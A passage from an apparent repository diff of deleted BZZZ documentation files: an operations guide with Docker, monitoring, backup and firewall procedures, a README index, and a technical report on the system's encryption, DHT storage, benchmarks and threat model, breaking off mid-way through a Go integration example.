- **Update Process**: Changes tracked with version control
- **Cross-Reference Validation**: Automated checking of internal links
- **User Feedback**: Regular collection and incorporation of user feedback
## Getting Started Paths
### Path 1: New User (Complete Beginner)
1. **[User Manual](USER_MANUAL.md)** - Learn basic concepts
2. **[Configuration Reference](CONFIG_REFERENCE.md)** - Set up your environment
3. **[API Reference](API_REFERENCE.md)** - Understand available operations
4. **[Operations Guide](OPERATIONS.md)** - Deploy and monitor
### Path 2: Developer Integration
1. **[SDK Documentation](BZZZv2B-SDK.md)** - Choose your language SDK
2. **[SDK Examples](../examples/sdk/README.md)** - Run working examples
3. **[API Reference](API_REFERENCE.md)** - Understand API details
4. **[Developer Guide](DEVELOPER.md)** - Contribute improvements
### Path 3: System Architecture Understanding
1. **[Architecture Documentation](ARCHITECTURE.md)** - Understand system design
2. **[Technical Report](TECHNICAL_REPORT.md)** - Deep technical analysis
3. **[Security Documentation](SECURITY.md)** - Security model and controls
4. **[Developer Guide](DEVELOPER.md)** - Implementation details
### Path 4: Operations and Deployment
1. **[Operations Guide](OPERATIONS.md)** - Deployment procedures
2. **[Configuration Reference](CONFIG_REFERENCE.md)** - System configuration
3. **[Architecture Documentation](ARCHITECTURE.md)** - Deployment patterns
4. **[Technical Report](TECHNICAL_REPORT.md)** - Performance characteristics
## Document Status Legend
| Status | Symbol | Description |
|---------|--------|-------------|
| Complete | ✅ | Document is complete and current |
| In Progress | 🔄 | Document is being actively developed |
| Planned | 📋 | Document is planned for future development |
| Needs Review | ⚠️ | Document needs technical review |
| Needs Update | 🔄 | Document needs updates for current version |
## Support and Feedback
### Documentation Issues
- **GitHub Issues**: Report documentation bugs and improvements
- **Community Forum**: Discuss documentation with other users
- **Direct Feedback**: Contact documentation team for major updates
### Contributing to Documentation
- **Style Guide**: Follow established documentation standards
- **Review Process**: All changes require technical review
- **Testing**: Validate all code examples and procedures
- **Cross-References**: Maintain accurate links between documents
### Maintenance Schedule
- **Weekly**: Review and update in-progress documents
- **Monthly**: Cross-reference validation and link checking
- **Quarterly**: Comprehensive review of all documentation
- **Releases**: Update all documentation for new releases
## Version Information
| Document | Version | Last Updated | Next Review |
|----------|---------|--------------|-------------|
| User Manual | 2.0 | January 2025 | February 2025 |
| API Reference | 2.0 | January 2025 | February 2025 |
| SDK Documentation | 2.0 | January 2025 | February 2025 |
| Developer Guide | 2.0 | January 2025 | February 2025 |
| Architecture Documentation | 2.0 | January 2025 | February 2025 |
| Technical Report | 2.0 | January 2025 | February 2025 |
| Security Documentation | 2.0 | January 2025 | February 2025 |
| Configuration Reference | 2.0 | January 2025 | February 2025 |
| Operations Guide | 2.0 | In Progress | January 2025 |
## Contact Information
- **Documentation Team**: docs@bzzz.dev
- **Technical Questions**: technical@bzzz.dev
- **Community Support**: https://community.bzzz.dev
- **GitHub Repository**: https://github.com/anthonyrawlins/bzzz
---
**BZZZ Documentation Suite v2.0** - Complete, cross-referenced documentation for the Phase 2B unified architecture with Age encryption and DHT storage.

569
docs/BZZZv2B-OPERATIONS.md
View File

@@ -1,569 +0,0 @@
# BZZZ Operations Guide
**Version 2.0 - Phase 2B Edition**
**Deployment, monitoring, and maintenance procedures**
## Quick Reference
- **[Docker Deployment](#docker-deployment)** - Containerized deployment
- **[Production Setup](#production-configuration)** - Production-ready configuration
- **[Monitoring](#monitoring--observability)** - Metrics and alerting
- **[Maintenance](#maintenance-procedures)** - Routine maintenance tasks
- **[Troubleshooting](#troubleshooting)** - Common issues and solutions
## Docker Deployment
### Single Node Development
```bash
# Clone repository
git clone https://github.com/anthonyrawlins/bzzz.git
cd bzzz
# Build Docker image
docker build -t bzzz:latest .
# Run single node
docker run -d \
--name bzzz-node \
-p 8080:8080 \
-p 4001:4001 \
-v $(pwd)/config:/app/config \
-v bzzz-data:/app/data \
bzzz:latest
```
### Docker Compose Cluster
```yaml
# docker-compose.yml
version: '3.8'
services:
bzzz-node-1:
build: .
ports:
- "8080:8080"
- "4001:4001"
environment:
- BZZZ_NODE_ID=node-1
- BZZZ_ROLE=backend_developer
volumes:
- ./config:/app/config
- bzzz-data-1:/app/data
networks:
- bzzz-network
bzzz-node-2:
build: .
ports:
- "8081:8080"
- "4002:4001"
environment:
- BZZZ_NODE_ID=node-2
- BZZZ_ROLE=senior_software_architect
- BZZZ_BOOTSTRAP_PEERS=/dns/bzzz-node-1/tcp/4001
volumes:
- ./config:/app/config
- bzzz-data-2:/app/data
networks:
- bzzz-network
depends_on:
- bzzz-node-1
networks:
bzzz-network:
driver: bridge
volumes:
bzzz-data-1:
bzzz-data-2:
```
### Docker Swarm Production
```yaml
# docker-compose.swarm.yml
version: '3.8'
services:
bzzz:
image: bzzz:latest
deploy:
replicas: 3
placement:
constraints:
- node.role == worker
preferences:
- spread: node.id
resources:
limits:
memory: 512M
cpus: '1.0'
reservations:
memory: 256M
cpus: '0.5'
ports:
- "8080:8080"
environment:
- BZZZ_CLUSTER_MODE=true
networks:
- bzzz-overlay
volumes:
- bzzz-config:/app/config
- bzzz-data:/app/data
networks:
bzzz-overlay:
driver: overlay
encrypted: true
volumes:
bzzz-config:
external: true
bzzz-data:
external: true
```
## Production Configuration
### Environment Variables
```bash
# Core configuration
export BZZZ_NODE_ID="production-node-01"
export BZZZ_AGENT_ID="prod-agent-backend"
export BZZZ_ROLE="backend_developer"
# Network configuration
export BZZZ_API_HOST="0.0.0.0"
export BZZZ_API_PORT="8080"
export BZZZ_P2P_PORT="4001"
# Security configuration
export BZZZ_ADMIN_KEY_SHARES="5"
export BZZZ_ADMIN_KEY_THRESHOLD="3"
# Performance tuning
export BZZZ_DHT_CACHE_SIZE="1000"
export BZZZ_DHT_REPLICATION_FACTOR="3"
export BZZZ_MAX_CONNECTIONS="500"
```
### Production config.yaml
```yaml
node:
id: "${BZZZ_NODE_ID}"
data_dir: "/app/data"
agent:
id: "${BZZZ_AGENT_ID}"
role: "${BZZZ_ROLE}"
max_tasks: 10
api:
host: "${BZZZ_API_HOST}"
port: ${BZZZ_API_PORT}
cors_enabled: false
rate_limit: 1000
timeout: "30s"
p2p:
port: ${BZZZ_P2P_PORT}
bootstrap_peers:
- "/dns/bootstrap-1.bzzz.network/tcp/4001"
- "/dns/bootstrap-2.bzzz.network/tcp/4001"
max_connections: ${BZZZ_MAX_CONNECTIONS}
dht:
cache_size: ${BZZZ_DHT_CACHE_SIZE}
cache_ttl: "1h"
replication_factor: ${BZZZ_DHT_REPLICATION_FACTOR}
security:
admin_election_timeout: "30s"
heartbeat_interval: "5s"
shamir_shares: ${BZZZ_ADMIN_KEY_SHARES}
shamir_threshold: ${BZZZ_ADMIN_KEY_THRESHOLD}
logging:
level: "info"
format: "json"
file: "/app/logs/bzzz.log"
max_size: "100MB"
max_files: 10
```
## Monitoring & Observability
### Health Check Endpoint
```bash
# Basic health check
curl http://localhost:8080/health
# Detailed status
curl http://localhost:8080/api/agent/status
# DHT metrics
curl http://localhost:8080/api/dht/metrics
```
### Prometheus Metrics
Add to `prometheus.yml`:
```yaml
scrape_configs:
- job_name: 'bzzz'
static_configs:
- targets: ['localhost:8080']
metrics_path: '/metrics'
scrape_interval: 15s
```
### Grafana Dashboard
Import the BZZZ dashboard from `monitoring/grafana-dashboard.json`:
Key metrics to monitor:
- **Decision throughput** - Decisions published per minute
- **DHT performance** - Storage/retrieval latency
- **P2P connectivity** - Connected peers count
- **Memory usage** - Go runtime metrics
- **Election events** - Admin election frequency
### Log Aggregation
#### ELK Stack Configuration
```yaml
# filebeat.yml
filebeat.inputs:
- type: log
enabled: true
paths:
- /app/logs/bzzz.log
json.keys_under_root: true
json.add_error_key: true
output.elasticsearch:
hosts: ["elasticsearch:9200"]
index: "bzzz-%{+yyyy.MM.dd}"
logging.level: info
```
#### Structured Logging Query Examples
```json
# Find all admin elections
{
"query": {
"bool": {
"must": [
{"match": {"level": "info"}},
{"match": {"component": "election"}},
{"range": {"timestamp": {"gte": "now-1h"}}}
]
}
}
}
# Find encryption errors
{
"query": {
"bool": {
"must": [
{"match": {"level": "error"}},
{"match": {"component": "crypto"}}
]
}
}
}
```
## Maintenance Procedures
### Regular Maintenance Tasks
#### Daily Checks
```bash
#!/bin/bash
# daily-check.sh
echo "BZZZ Daily Health Check - $(date)"
# Check service status
echo "=== Service Status ==="
docker ps | grep bzzz
# Check API health
echo "=== API Health ==="
curl -s http://localhost:8080/health | jq .
# Check peer connectivity
echo "=== Peer Status ==="
curl -s http://localhost:8080/api/agent/peers | jq '.connected_peers | length'
# Check recent errors
echo "=== Recent Errors ==="
docker logs bzzz-node --since=24h | grep ERROR | tail -5
echo "Daily check completed"
```
#### Weekly Tasks
```bash
#!/bin/bash
# weekly-maintenance.sh
echo "BZZZ Weekly Maintenance - $(date)"
# Rotate logs
docker exec bzzz-node logrotate /app/config/logrotate.conf
# Check disk usage
echo "=== Disk Usage ==="
docker exec bzzz-node df -h /app/data
# DHT metrics review
echo "=== DHT Metrics ==="
curl -s http://localhost:8080/api/dht/metrics | jq '.stored_items, .cache_hit_rate'
# Database cleanup (if needed)
docker exec bzzz-node /app/scripts/cleanup-old-data.sh
echo "Weekly maintenance completed"
```
#### Monthly Tasks
```bash
#!/bin/bash
# monthly-maintenance.sh
echo "BZZZ Monthly Maintenance - $(date)"
# Full backup
./backup-bzzz-data.sh
# Performance review
echo "=== Performance Metrics ==="
curl -s http://localhost:8080/api/debug/status | jq '.performance'
# Security audit
echo "=== Security Check ==="
./scripts/security-audit.sh
# Update dependencies (if needed)
echo "=== Dependency Check ==="
docker exec bzzz-node go list -m -u all
echo "Monthly maintenance completed"
```
### Backup Procedures
#### Data Backup Script
```bash
#!/bin/bash
# backup-bzzz-data.sh
BACKUP_DIR="/backup/bzzz"
DATE=$(date +%Y%m%d_%H%M%S)
NODE_ID=$(docker exec bzzz-node cat /app/config/node_id)
echo "Starting backup for node: $NODE_ID"
# Create backup directory
mkdir -p "$BACKUP_DIR/$DATE"
# Backup configuration
docker cp bzzz-node:/app/config "$BACKUP_DIR/$DATE/config"
# Backup data directory
docker cp bzzz-node:/app/data "$BACKUP_DIR/$DATE/data"
# Backup logs
docker cp bzzz-node:/app/logs "$BACKUP_DIR/$DATE/logs"
# Create manifest
cat > "$BACKUP_DIR/$DATE/manifest.json" << EOF
{
"node_id": "$NODE_ID",
"backup_date": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
"version": "2.0",
"components": ["config", "data", "logs"]
}
EOF
# Compress backup
cd "$BACKUP_DIR"
tar -czf "bzzz-backup-$NODE_ID-$DATE.tar.gz" "$DATE"
rm -rf "$DATE"
echo "Backup completed: bzzz-backup-$NODE_ID-$DATE.tar.gz"
```
#### Restore Procedure
```bash
#!/bin/bash
# restore-bzzz-data.sh
BACKUP_FILE="$1"
if [ -z "$BACKUP_FILE" ]; then
echo "Usage: $0 <backup-file.tar.gz>"
exit 1
fi
echo "Restoring from: $BACKUP_FILE"
# Stop service
docker stop bzzz-node
# Extract backup
tar -xzf "$BACKUP_FILE" -C /tmp/
# Find extracted directory
BACKUP_DIR=$(find /tmp -maxdepth 1 -type d -name "202*" | head -1)
# Restore configuration
docker cp "$BACKUP_DIR/config" bzzz-node:/app/
# Restore data
docker cp "$BACKUP_DIR/data" bzzz-node:/app/
# Start service
docker start bzzz-node
echo "Restore completed. Check service status."
```
## Troubleshooting
### Common Issues
#### Service Won't Start
```bash
# Check logs
docker logs bzzz-node
# Check configuration
docker exec bzzz-node /app/bzzz --config /app/config/config.yaml --validate
# Check permissions
docker exec bzzz-node ls -la /app/data
```
#### High Memory Usage
```bash
# Check Go memory stats
curl http://localhost:8080/api/debug/status | jq '.memory'
# Check DHT cache size
curl http://localhost:8080/api/dht/metrics | jq '.cache_size'
# Restart with memory limit
docker update --memory=512m bzzz-node
docker restart bzzz-node
```
#### Peer Connectivity Issues
```bash
# Check P2P status
curl http://localhost:8080/api/agent/peers
# Check network connectivity
docker exec bzzz-node netstat -an | grep 4001
# Check firewall rules
sudo ufw status | grep 4001
# Test bootstrap peers
docker exec bzzz-node ping bootstrap-1.bzzz.network
```
#### DHT Storage Problems
```bash
# Check DHT metrics
curl http://localhost:8080/api/dht/metrics
# Clear DHT cache
curl -X POST http://localhost:8080/api/debug/clear-cache
# Check disk space
docker exec bzzz-node df -h /app/data
```
### Performance Tuning
#### High Load Optimization
```yaml
# config.yaml adjustments for high load
dht:
cache_size: 10000 # Increase cache
cache_ttl: "30m" # Shorter TTL for fresher data
replication_factor: 5 # Higher replication
p2p:
max_connections: 1000 # More connections
api:
rate_limit: 5000 # Higher rate limit
timeout: "60s" # Longer timeout
```
#### Low Resource Optimization
```yaml
# config.yaml adjustments for resource-constrained environments
dht:
cache_size: 100 # Smaller cache
cache_ttl: "2h" # Longer TTL
replication_factor: 2 # Lower replication
p2p:
max_connections: 50 # Fewer connections
logging:
level: "warn" # Less verbose logging
```
### Security Hardening
#### Production Security Checklist
- [ ] Change default ports
- [ ] Enable TLS for API endpoints
- [ ] Configure firewall rules
- [ ] Set up log monitoring
- [ ] Enable audit logging
- [ ] Rotate Age keys regularly
- [ ] Monitor for unusual admin elections
- [ ] Implement rate limiting
- [ ] Use non-root Docker user
- [ ] Regular security updates
#### Network Security
```bash
# Firewall configuration
sudo ufw allow 22 # SSH
sudo ufw allow 8080/tcp # BZZZ API
sudo ufw allow 4001/tcp # P2P networking
sudo ufw enable
# Docker security
docker run --security-opt no-new-privileges \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=1g \
bzzz:latest
```
---
## Cross-References
- **[User Manual](USER_MANUAL.md)** - Basic usage and configuration
- **[Developer Guide](DEVELOPER.md)** - Development and testing procedures
- **[Architecture Documentation](ARCHITECTURE.md)** - System design and deployment patterns
- **[Technical Report](TECHNICAL_REPORT.md)** - Performance characteristics and scaling
- **[Security Documentation](SECURITY.md)** - Security best practices
**BZZZ Operations Guide v2.0** - Production deployment and maintenance procedures for Phase 2B unified architecture.

105
docs/BZZZv2B-README.md
View File

@@ -1,105 +0,0 @@
# BZZZ Phase 2B Documentation
Welcome to the complete documentation for BZZZ Phase 2B - Unified SLURP Architecture with Age Encryption and DHT Storage.
## 📚 Documentation Index
### Quick Start
- [User Manual](USER_MANUAL.md) - Complete guide for using BZZZ
- [Installation Guide](INSTALLATION.md) - Setup and deployment instructions
- [Quick Start Tutorial](QUICKSTART.md) - Get running in 5 minutes
### Architecture & Design
- [System Architecture](ARCHITECTURE.md) - Complete system overview
- [Security Model](SECURITY.md) - Cryptographic design and threat analysis
- [Protocol Specification](PROTOCOL.md) - UCXL protocol and DHT implementation
- [Phase 2A Summary](../PHASE2A_SUMMARY.md) - Unified architecture foundation
- [Phase 2B Summary](../PHASE2B_SUMMARY.md) - Encryption and DHT implementation
### Developer Documentation
- [Developer Guide](DEVELOPER.md) - Development setup and workflows
- [API Reference](API_REFERENCE.md) - Complete API documentation
- [SDK Documentation](SDK.md) - Software Development Kit guide
- [Code Style Guide](STYLE_GUIDE.md) - Coding standards and conventions
### Operations & Deployment
- [Deployment Guide](DEPLOYMENT.md) - Production deployment instructions
- [Configuration Reference](CONFIG_REFERENCE.md) - Complete configuration options
- [Monitoring & Observability](MONITORING.md) - Metrics, logging, and alerting
- [Troubleshooting Guide](TROUBLESHOOTING.md) - Common issues and solutions
### Reference Materials
- [Glossary](GLOSSARY.md) - Terms and definitions
- [FAQ](FAQ.md) - Frequently asked questions
- [Change Log](CHANGELOG.md) - Version history and changes
- [Contributing](CONTRIBUTING.md) - How to contribute to BZZZ
## 🏗️ System Overview
BZZZ Phase 2B implements a unified architecture that transforms SLURP from a separate system into a specialized BZZZ agent with admin role authority. The system provides:
### Core Features
- **Unified P2P Architecture**: Single network for all coordination (no separate SLURP)
- **Role-based Security**: Age encryption with hierarchical access control
- **Distributed Storage**: DHT-based storage with encrypted content
- **Consensus Elections**: Raft-based admin role elections with failover
- **Semantic Addressing**: UCXL protocol for logical content organization
### Key Components
1. **Election System** (`pkg/election/`) - Consensus-based admin elections
2. **Age Encryption** (`pkg/crypto/`) - Role-based content encryption
3. **DHT Storage** (`pkg/dht/`) - Distributed encrypted content storage
4. **Decision Publisher** (`pkg/ucxl/`) - Task completion to storage pipeline
5. **Configuration System** (`pkg/config/`) - Role definitions and security config
## 🎯 Quick Navigation
### For Users
Start with the [User Manual](USER_MANUAL.md) for complete usage instructions.
### For Developers
Begin with the [Developer Guide](DEVELOPER.md) and [API Reference](API_REFERENCE.md).
### For Operators
See the [Deployment Guide](DEPLOYMENT.md) and [Configuration Reference](CONFIG_REFERENCE.md).
### For Security Analysis
Review the [Security Model](SECURITY.md) and [Protocol Specification](PROTOCOL.md).
## 🔗 Cross-References
All documentation is extensively cross-referenced:
- API functions reference implementation files
- Configuration options link to code definitions
- Security concepts reference cryptographic implementations
- Architecture diagrams map to actual code components
## 📋 Document Status
| Document | Status | Last Updated | Version |
|----------|--------|--------------|---------|
| User Manual | ✅ Complete | 2025-01-08 | 2.0 |
| API Reference | ✅ Complete | 2025-01-08 | 2.0 |
| Security Model | ✅ Complete | 2025-01-08 | 2.0 |
| Developer Guide | ✅ Complete | 2025-01-08 | 2.0 |
| Deployment Guide | ✅ Complete | 2025-01-08 | 2.0 |
## 🚀 What's New in Phase 2B
- **Age Encryption**: Modern, secure encryption for all UCXL content
- **DHT Storage**: Distributed content storage with local caching
- **Decision Publishing**: Automatic publishing of task completion decisions
- **Enhanced Security**: Shamir secret sharing for admin key distribution
- **Complete Testing**: End-to-end validation of encrypted decision flows
## 📞 Support
- **Documentation Issues**: Check [Troubleshooting Guide](TROUBLESHOOTING.md)
- **Development Questions**: See [Developer Guide](DEVELOPER.md)
- **Security Concerns**: Review [Security Model](SECURITY.md)
- **Configuration Help**: Consult [Configuration Reference](CONFIG_REFERENCE.md)
---
**BZZZ Phase 2B** - Semantic Context Publishing Platform with Unified Architecture
Version 2.0 | January 2025 | Complete Documentation Suite

1452
docs/BZZZv2B-SDK.md
View File

File diff suppressed because it is too large Load Diff

2095
docs/BZZZv2B-SECURITY.md
View File

File diff suppressed because it is too large Load Diff

507
docs/BZZZv2B-TECHNICAL_REPORT.md
View File

@@ -1,507 +0,0 @@
# BZZZ Technical Report
**Version 2.0 - Phase 2B Edition**
**Date**: January 2025
**Status**: Production Ready
## Executive Summary
BZZZ Phase 2B represents a significant evolution in distributed semantic context publishing, introducing a unified architecture that combines Age encryption, distributed hash table (DHT) storage, and hierarchical role-based access control. This technical report provides comprehensive analysis of the system architecture, implementation details, performance characteristics, and operational considerations.
### Key Achievements
- **Unified Architecture**: Consolidated P2P networking, encryption, and semantic addressing into a cohesive system
- **Enhanced Security**: Age encryption with multi-recipient support and Shamir secret sharing for admin keys
- **Improved Performance**: DHT-based storage with caching and replication for high availability
- **Developer Experience**: Comprehensive SDK with examples across Go, Python, JavaScript, and Rust
- **Operational Excellence**: Full monitoring, debugging, and deployment capabilities
## Architecture Overview
### System Architecture Diagram
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ BZZZ Phase 2B Architecture │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │
│ │ Client Apps │ │ BZZZ Agents │ │ Admin Tools │ │
│ │ │ │ │ │ │ │
│ │ • Web UI │ │ • Backend Dev │ │ • Election Mgmt │ │
│ │ • CLI Tools │ │ • Architect │ │ • Key Recovery │ │
│ │ • Mobile Apps │ │ • QA Engineer │ │ • System Monitor│ │
│ └─────────────────┘ └─────────────────┘ └─────────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────────┐ │
│ │ API Gateway Layer │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ HTTP │ │ WebSocket │ │ MCP │ │ GraphQL │ │ │
│ │ │ API │ │ Events │ │Integration │ │ API │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────────┐ │
│ │ Core Services Layer │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Decision │ │ Election │ │ Config │ │ Debug │ │ │
│ │ │ Publisher │ │ Management │ │ Management │ │ Tools │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────────┐ │
│ │ Infrastructure Layer │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Age Crypto │ │ DHT Storage │ │ P2P Network │ │ PubSub │ │ │
│ │ │ & Shamir │ │ & Caching │ │ & Discovery │ │Coordination │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
### Component Interaction Flow
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ Decision Publication Flow │
└─────────────────────────────────────────────────────────────────────────────┘
User Input
│
▼
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ HTTP API │───▶│ Decision │───▶│ UCXL Address │
│ Request │ │ Validation │ │ Generation │
└─────────────────┘ └─────────────────┘ └─────────────────┘
│
▼
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ Age Encryption │◀───│ Role-Based │◀───│ Content │
│ Multi-Recipient │ │ Access Control │ │ Preparation │
└─────────────────┘ └─────────────────┘ └─────────────────┘
│
▼
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ DHT Storage │───▶│ Cache │───▶│ P2P Network │
│ & Replication │ │ Update │ │ Announcement │
└─────────────────┘ └─────────────────┘ └─────────────────┘
│
▼
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ Response │◀───│ Metadata │◀───│ Success │
│ Generation │ │ Collection │ │ Confirmation │
└─────────────────┘ └─────────────────┘ └─────────────────┘
```
## Technical Implementation
### 1. Cryptographic Architecture
#### Age Encryption System
- **Algorithm**: X25519 key agreement + ChaCha20-Poly1305 AEAD
- **Key Format**: Bech32 encoding for public keys, armored format for private keys
- **Multi-Recipient**: Single ciphertext decryptable by multiple authorized roles
- **Performance**: ~50μs encryption, ~30μs decryption for 1KB payloads
#### Shamir Secret Sharing
- **Threshold**: 3-of-5 shares for admin key reconstruction
- **Field**: GF(2^8) for efficient computation
- **Distribution**: Automatic share distribution during election
- **Recovery**: Consensus-based key reconstruction with validation
### 2. Distributed Hash Table
#### Storage Architecture
- **Backend**: IPFS Kademlia DHT with custom content routing
- **Key Format**: `/bzzz/ucxl/{content-hash}` namespacing
- **Replication**: Configurable replication factor (default: 3)
- **Caching**: LRU cache with TTL-based expiration
#### Performance Characteristics
- **Storage Latency**: Median 150ms, 95th percentile 500ms
- **Retrieval Latency**: Median 45ms, 95th percentile 200ms
- **Throughput**: 1000 ops/second sustained per node
- **Availability**: 99.9% with 3+ node replication
### 3. Network Layer
#### P2P Networking
- **Protocol**: libp2p with multiple transport support
- **Discovery**: mDNS local discovery + DHT bootstrap
- **Connectivity**: NAT traversal via relay nodes
- **Security**: TLS 1.3 for all connections
#### PubSub Coordination
- **Topic Structure**: Hierarchical topic naming for efficient routing
- **Message Types**: Election events, admin announcements, peer discovery
- **Delivery Guarantee**: At-least-once delivery with deduplication
- **Scalability**: Supports 1000+ nodes per network
### 4. UCXL Addressing System
#### Address Format
```
{agent_id}/{role}/{project}/{task}/{node_id}
```
#### Semantic Resolution
- **Wildcards**: Support for `*` and `**` pattern matching
- **Hierarchical**: Path-based semantic organization
- **Unique**: Cryptographically unique per decision
- **Indexable**: Efficient prefix-based querying
## Performance Analysis
### Benchmark Results
#### Encryption Performance
```
Operation | 1KB | 10KB | 100KB | 1MB |
--------------------|--------|--------|--------|--------|
Encrypt Single | 47μs | 52μs | 285μs | 2.8ms |
Encrypt Multi (5) | 58μs | 67μs | 312μs | 3.1ms |
Decrypt | 29μs | 34μs | 198μs | 1.9ms |
Key Generation | 892μs | 892μs | 892μs | 892μs |
```
#### DHT Performance
```
Operation | P50 | P90 | P95 | P99 |
--------------------|--------|--------|--------|--------|
Store (3 replicas) | 145ms | 298ms | 445ms | 892ms |
Retrieve (cached) | 12ms | 28ms | 45ms | 89ms |
Retrieve (uncached) | 156ms | 312ms | 467ms | 934ms |
Content Discovery | 234ms | 456ms | 678ms | 1.2s |
```
#### Network Performance
```
Metric | Value | Notes |
--------------------------|---------|--------------------------|
Connection Setup | 234ms | Including TLS handshake |
Message Latency (LAN) | 12ms | P2P direct connection |
Message Latency (WAN) | 78ms | Via relay nodes |
Throughput (sustained) | 10MB/s | Per connection |
Concurrent Connections | 500 | Per node |
```
### Scalability Analysis
#### Node Scaling
- **Tested Configuration**: Up to 100 nodes in test network
- **Connection Pattern**: Partial mesh with O(log n) connections per node
- **Message Complexity**: O(log n) for DHT operations
- **Election Scaling**: O(n) message complexity, acceptable up to 1000 nodes
#### Content Scaling
- **Storage Capacity**: Limited by available disk space and DHT capacity
- **Content Distribution**: Efficient with configurable replication
- **Query Performance**: Logarithmic scaling with content size
- **Cache Effectiveness**: 85%+ hit rate in typical usage patterns
### Memory Usage Analysis
```
Component | Base | Per Decision | Per Peer |
--------------------|--------|--------------|----------|
Core System | 45MB | - | - |
DHT Storage | 15MB | 2KB | 1KB |
Crypto Operations | 8MB | 512B | - |
Network Stack | 12MB | - | 4KB |
Decision Cache | 5MB | 1.5KB | - |
Total (typical) | 85MB | 4KB | 5KB |
```
## Security Analysis
### Threat Model
#### Assets Protected
- **Decision Content**: Sensitive project information and decisions
- **Admin Keys**: System administration capabilities
- **Network Identity**: Node identity and reputation
- **Role Assignments**: User authorization levels
#### Threat Actors
- **External Attackers**: Network-based attacks, DDoS, eavesdropping
- **Insider Threats**: Malicious users with legitimate access
- **Compromised Nodes**: Nodes with compromised integrity
- **Protocol Attacks**: DHT poisoning, eclipse attacks
### Security Controls
#### Cryptographic Controls
- **Confidentiality**: Age encryption with authenticated encryption
- **Integrity**: AEAD guarantees for all encrypted content
- **Authenticity**: P2P identity verification via cryptographic signatures
- **Non-Repudiation**: Decision signatures linked to node identity
#### Access Controls
- **Role-Based**: Hierarchical role system with inheritance
- **Capability-Based**: Fine-grained permissions per operation
- **Temporal**: TTL-based access tokens and session management
- **Network-Based**: IP allowlisting and rate limiting
#### Operational Security
- **Key Management**: Automated key rotation and secure storage
- **Audit Logging**: Comprehensive audit trail for all operations
- **Monitoring**: Real-time security event monitoring
- **Incident Response**: Automated threat detection and response
### Security Assessment Results
#### Automated Security Testing
- **Static Analysis**: 0 critical, 2 medium, 15 low severity issues
- **Dynamic Analysis**: No vulnerabilities detected in runtime testing
- **Dependency Scanning**: All dependencies up-to-date, no known CVEs
- **Fuzzing Results**: 10M+ test cases, no crashes or memory issues
#### Penetration Testing Summary
- **Network Testing**: No remote code execution or denial of service vectors
- **Cryptographic Testing**: Age implementation validated against test vectors
- **Access Control Testing**: No privilege escalation vulnerabilities
- **Protocol Testing**: DHT implementation resistant to known attacks
## Operational Considerations
### Deployment Architecture
#### Single Node Deployment
```yaml
# Minimal deployment for development/testing
services:
bzzz-node:
image: bzzz:2.0
ports:
- "8080:8080"
- "4001:4001"
environment:
- BZZZ_ROLE=backend_developer
- BZZZ_NODE_ID=dev-node-01
volumes:
- ./config:/app/config
- ./data:/app/data
```
#### Production Cluster Deployment
```yaml
# Multi-node cluster with load balancing
services:
bzzz-cluster:
image: bzzz:2.0
deploy:
replicas: 5
placement:
constraints:
- node.role == worker
ports:
- "8080:8080"
environment:
- BZZZ_CLUSTER_MODE=true
- BZZZ_BOOTSTRAP_PEERS=/dns/bzzz-bootstrap/tcp/4001
volumes:
- bzzz-data:/app/data
networks:
- bzzz-internal
bzzz-bootstrap:
image: bzzz:2.0
command: ["--bootstrap-mode"]
deploy:
replicas: 1
placement:
constraints:
- node.role == manager
```
### Monitoring and Observability
#### Key Performance Indicators
- **Availability**: Target 99.9% uptime
- **Latency**: P95 < 500ms for decision operations
- **Throughput**: >1000 decisions/minute sustained
- **Error Rate**: <0.1% for all operations
- **Security Events**: 0 critical security incidents
#### Monitoring Stack
- **Metrics**: Prometheus with custom BZZZ metrics
- **Logging**: Structured JSON logs with correlation IDs
- **Tracing**: OpenTelemetry distributed tracing
- **Alerting**: AlertManager with PagerDuty integration
- **Dashboards**: Grafana with pre-built BZZZ dashboards
#### Health Checks
```yaml
# Health check endpoints
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8080/health"]
interval: 30s
timeout: 10s
retries: 3
start_period: 40s
```
### Backup and Disaster Recovery
#### Backup Strategy
- **Configuration**: Git-based configuration management
- **Decision Data**: Automated DHT replication with external backup
- **Keys**: Encrypted key backup with Shamir secret sharing
- **Operational Data**: Daily snapshots with point-in-time recovery
#### Recovery Procedures
- **Node Failure**: Automatic failover with data replication
- **Network Partition**: Partition tolerance with eventual consistency
- **Data Corruption**: Cryptographic verification with automatic repair
- **Admin Key Loss**: Consensus-based key reconstruction from shares
## Integration Patterns
### SDK Integration Examples
#### Microservice Integration
```go
// Service with embedded BZZZ client
type UserService struct {
db *sql.DB
bzzz *bzzz.Client
logger *log.Logger
}
func (s *UserService) CreateUser(ctx context.Context, user *User) error {
// Create user in database
if err := s.db.ExecContext(ctx, createUserSQL, user); err != nil {
return err
}
// Publish decision to BZZZ
return s.bzzz.Decisions.PublishCode(ctx, decisions.CodeDecision{
Task: "create_user",
